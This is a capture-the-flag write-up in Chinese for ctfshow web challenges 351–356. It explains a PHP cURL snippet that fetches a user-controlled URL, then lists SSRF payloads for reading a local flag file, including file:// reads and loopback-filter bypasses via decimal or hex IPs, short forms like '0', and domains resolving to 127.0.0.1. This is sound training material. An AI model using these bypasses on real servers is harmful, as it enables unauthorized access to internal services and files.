ctfshow——web入门351~356
SSRF没有出网的部分
web入门351
$ch = curl_init($url);
- 作用:初始化一个 cURL 会话,并设置目标 URL。
- 解释:
-
curl_init($url)
创建一个新的 cURL 资源,并将其与$url
关联。- 这里的
$url
是用户提供的,因此目标地址完全由用户控制。
curl_setopt($ch, CURLOPT_HEADER, 0);
- 作用:设置 cURL 选项,不包含响应头。
- 解释:
-
CURLOPT_HEADER
控制是否在输出中包含 HTTP 响应头。- 设置为
0
表示不包含响应头,只返回响应体。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- 作用:设置 cURL 选项,将响应作为字符串返回,而不是直接输出。
- 解释:
-
- 默认情况下,
cURL
会直接将响应输出到页面上。 - 设置
CURLOPT_RETURNTRANSFER
为1
后,响应会被存储到变量中,而不是直接输出。
- 默认情况下,
$result = curl_exec($ch);
- 作用:执行 cURL 请求,并获取响应结果。
- 解释:
-
curl_exec($ch)
执行之前配置好的 cURL 请求,并将响应内容存储到$result
中。- 如果请求失败,
$result
的值可能为false
。
curl_close($ch);
- 作用:关闭 cURL 会话,释放资源。
- 解释:
-
- 在完成 cURL 操作后,调用
curl_close($ch)
关闭 cURL 资源,避免资源泄漏
- 在完成 cURL 操作后,调用
payload:
url=localhost/flag.php
url=127.0.0.1/flag.php
url=file:///var/www/html/flag.php
web入门352
emmm这题怎么说呢,过滤的语句不完全,上题的payload照样可以用
那我们假设他完全
url=http://0.0.0.0/flag.php
url=http://127.255.255.253/flag.php(127开头的都行)
url=http://2130706433/flag.php(ip转数字)<-网站
url=http://127.000.000.001/flag.php
url=http://0x7f000001/flag.php(16进制写法)
web入门353
这个写全了,但是这个禁止的是127.0形式的,也就是127.1.1.1就可以绕过
还有
url=http://2130706433/flag.php
url=http://0x7f000001/flag.php
多几个0也可以
使用sudo.cc代替127.0.0.1
url=http://sudo.cc/flag.php
在Linux中0表示自身的地址
用http://0/flag.php 绕过
web入门354
这题禁了1和0
url=http://sudo.cc/flag.php
使用解析到127.0.0.1的url绕过
url=http://safe.taobao.com/flag.php
url=http://spoofed.burpcollaborator.net/flag.php
(这两个是其他师傅提供的可以用的)
web入门355
对host长度进行了限制,即主机名小于等于5
payload:
url=http://0/flag.php
url=http://127.9/flag.php
url=http://0.0.0/flag.php
web入门356
主机名小于3
payload:
url=http://0/flag.php
url=http://0.0/flag.php